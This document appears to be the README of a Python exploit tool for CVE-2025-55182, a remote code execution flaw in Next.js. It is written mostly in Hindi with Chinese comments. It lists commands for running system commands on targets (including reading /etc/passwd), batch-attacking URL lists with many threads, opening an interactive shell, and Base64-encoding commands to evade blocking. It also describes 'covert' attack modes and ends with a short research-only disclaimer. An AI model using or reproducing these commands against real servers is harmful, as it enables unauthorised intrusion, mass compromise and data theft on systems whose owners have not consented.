
CVE-2025-55182 (Next.js RCE) के लिए Python-आधारित एक्सप्लॉइट, जिसमें एकल/बैच लक्ष्य स्कैनिंग, कमांड निष्पादन, इंटरैक्टिव शेल, और Base64 एन्कोडिंग समर्थन के साथ 4 आक्रमण मोड शामिल हैं।
यह उपकरण CVE-2025-55182 भेद्यता (अनुमानतः Next.js संबंधित फ्रेमवर्क में कोड निष्पादन भेद्यता) का पता लगाने और शोषण करने के लिए है। यह एकल-लक्ष्य/बहु-लक्ष्य बैच जांच, कमांड निष्पादन, इंटरैक्टिव शेल आदि का समर्थन करता है। विभिन्न परिदृश्यों के लिए 4 हमले मोड प्रदान करता है, Base64 एन्कोडेड कमांड, प्रॉक्सी फॉरवर्डिंग, लॉग आउटपुट जैसे लचीले कॉन्फ़िगरेशन का समर्थन करता है।
CVE-2025-55182 भेद्यता संभवतः Next.js संबंधित अनुप्रयोगों में मौजूद है। दुर्भावनापूर्ण अनुरोधों को तैयार करके _response में निष्पादन तर्क को बदलता है, child_process मॉड्यूल कॉल इंजेक्ट करता है, और रिमोट कमांड निष्पादन (RCE) को सक्षम करता है। उपकरण विशेष रूप से तैयार फॉर्म डेटा भेजकर भेद्यता को ट्रिगर करता है और कमांड निष्पादन परिणाम लौटाता है।
requestspip install requests
# 执行 whoami 命令(攻击模式1:有响应)
python CVE-2025-55182-exploit.py -u https://target.com -c "whoami"
# 执行系统命令(Base64编码,避免特殊字符拦截)
python CVE-2025-55182-exploit.py -u https://target.com -c "cat /etc/passwd" -b
# 完整回复模式(Base64解码返回结果)
python CVE-2025-55182-exploit.py -u https://target.com -c "ipconfig" -p 4
# 从文件读取目标URL,批量执行 id 命令(20线程)
python CVE-2025-55182-exploit.py -l targets.txt -c "id" -t 20 -o result.log
# 连接目标,进入交互式命令行(支持Base64编码切换)
python CVE-2025-55182-exploit.py -u https://target.com -s
# 通过Burp Suite代理抓包分析
python CVE-2025-55182-exploit.py -u https://target.com -c "whoami" --proxy http://127.0.0.1:8080
| पैरामीटर नाम | संक्षिप्त | अनिवार्य | विवरण | उदाहरण |
|---|---|---|---|---|
--url | -u | नहीं | एकल लक्ष्य URL (-l के साथ दो में से एक, -u को प्राथमिकता दी जाती है) | -u https://target.com |
--url-list | -l | नहीं | लक्ष्य URL सूची फ़ाइल (प्रति पंक्ति एक URL, बिना प्रोटोकॉल हेडर के समर्थन करता है, स्वचालित रूप से http/https जोड़ता है) | -l urls.txt |
--payload | -p | नहीं | हमला मोड (डिफ़ॉल्ट: 1) 1=प्रतिक्रिया के साथ (execSync) | 2=कोई प्रतिक्रिया नहीं (execSync) 3=कोई प्रतिक्रिया नहीं (exec) |
--cmd | -c | नहीं | निष्पादित करने के लिए सिस्टम कमांड (बैच मोड/एकल-लक्ष्य कमांड निष्पादन के लिए अनिवार्य, -s के साथ परस्पर अनन्य) | -c "whoami" या -c "dir" |
--threads | -t | नहीं | बैच जांच थ्रेड्स संख्या (डिफ़ॉल्ट: 10, 50 से अधिक न करने की सलाह दी जाती है) | -t 20 |
--outlog | -o | नहीं | लॉग आउटपुट फ़ाइल (डिफ़ॉल्ट: cve-2025-55182.log) | -o exploit.log |
--base64 | -b | नहीं | -c द्वारा निर्दिष्ट कमांड को Base64 एन्कोड करता है (विशेष वर्णों को अवरुद्ध होने से बचाता है) | -c "cat /etc/passwd" -b |
--cmd-shell | -s | नहीं | इंटरैक्टिव शेल मोड (केवल एकल लक्ष्य -u का समर्थन करता है, -c के साथ परस्पर अनन्य) | -u https://target.com -s |
--proxy | - | नहीं | प्रॉक्सी कॉन्फ़िगरेशन (HTTP/HTTPS प्रॉक्सी का समर्थन करता है, पैकेट कैप्चर या ट्रैफ़िक फ़ॉरवर्डिंग के लिए) | --proxy http://127.0.0.1:8080 |
--skip-check | - | नहीं | प्रॉक्सी कनेक्टिविटी जाँच छोड़ें (डिफ़ॉल्ट रूप से प्रॉक्सी उपलब्धता सत्यापित करता है) | --proxy http://127.0.0.1:8080 --skip-check |
--time-out | - | नहीं | अनुरोध टाइमआउट समय (इकाई: सेकंड, डिफ़ॉल्ट: 10) | --time-out 15 |
| मोड संख्या | मोड विवरण | विशेषताएँ | लागू परिदृश्य |
|---|---|---|---|
| 1 | प्रतिक्रिया के साथ (execSync) | सिंक्रोनस रूप से कमांड निष्पादित करता है, 303 रीडायरेक्ट लौटाता है, परिणाम प्रतिक्रिया हेडर में शामिल होते हैं | भेद्यता के अस्तित्व का त्वरित सत्यापन |
| 2 | कोई प्रतिक्रिया नहीं (execSync) | सिंक्रोनस रूप से कमांड निष्पादित करता है, कोई परिणाम नहीं लौटाता (निष्पादन प्रभाव की पुष्टि अन्य माध्यमों से करनी होगी) | गुप्त निष्पादन |
| 3 | कोई प्रतिक्रिया नहीं (exec) | अतुल्यकालिक रूप से कमांड निष्पादित करता है, कोई परिणाम नहीं लौटाता (कम निशान, उन कार्यों के लिए उपयुक्त जिन्हें पुष्टि की आवश्यकता नहीं है) | गुप्त बैच हमला |
| 4 | पूर्ण प्रतिक्रिया | सिंक्रोनस रूप से कमांड निष्पादित करता है, परिणाम Base64 एन्कोडेड रूप में प्रतिक्रिया बॉडी में लौटाया जाता है (उपकरण स्वचालित रूप से डीकोड करता है) | उन परिदृश्यों के लिए जहाँ पूर्ण कमांड आउटपुट देखने की आवश्यकता है |
-s मोड में प्रवेश करने के बाद, निम्नलिखित अंतर्निहित कमांड समर्थित हैं:
| कमांड | कार्य विवरण |
|---|---|
b64 | Base64 एन्कोडेड कमांड मोड में स्विच करें |
nob64 | Base64 एन्कोडिंग मोड से बाहर निकलें |
exit | इंटरैक्टिव शेल से बाहर निकलें |
? | सहायता जानकारी देखें |
--outlog द्वारा निर्दिष्ट फ़ाइल में लिखे जाते हैं, बाद के विश्लेषण की सुविधा के लिए;-u और -l में से एक चुनें, दोनों निर्दिष्ट होने पर -u को प्राथमिकता दी जाती है;-c और -s परस्पर अनन्य हैं, -s मोड में -c निर्दिष्ट करने की आवश्यकता नहीं है;-l फ़ाइल में URL में प्रोटोकॉल हेडर नहीं है (जैसे target.com), तो उपकरण स्वचालित रूप से http:// और https:// आज़माएगा;https://target.com) मैन्युअल रूप से निर्दिष्ट करने की अनुशंसा की जाती है;-b या b64 मोड सक्षम करने पर, उपकरण स्वचालित रूप से Base64 एन्कोडिंग/डीकोडिंग को संभालता है, मैन्युअल संचालन की आवश्यकता नहीं है;--time-out टाइमआउट समय बढ़ाया जा सकता है, गलत निर्णयों से बचने के लिए।--skip-check का उपयोग करके जाँच छोड़ें;-p 4 पूर्ण प्रतिक्रिया मोड);-b) कमांड को लक्ष्य प्रणाली द्वारा अवरुद्ध होने से बचाने के लिए;--time-out टाइमआउट समय बढ़ाएँ;http://target.com)।यह उपकरण केवल साइबर सुरक्षा अनुसंधान और भेद्यता सत्यापन के लिए है। उपयोगकर्ता द्वारा 'साइबर सुरक्षा कानून' और अन्य संबंधित कानूनों और विनियमों के उल्लंघन के कारण होने वाले सभी परिणामों के लिए उपयोगकर्ता स्वयं जिम्मेदार है, उपकरण डेवलपर का कोई संबंध नहीं है।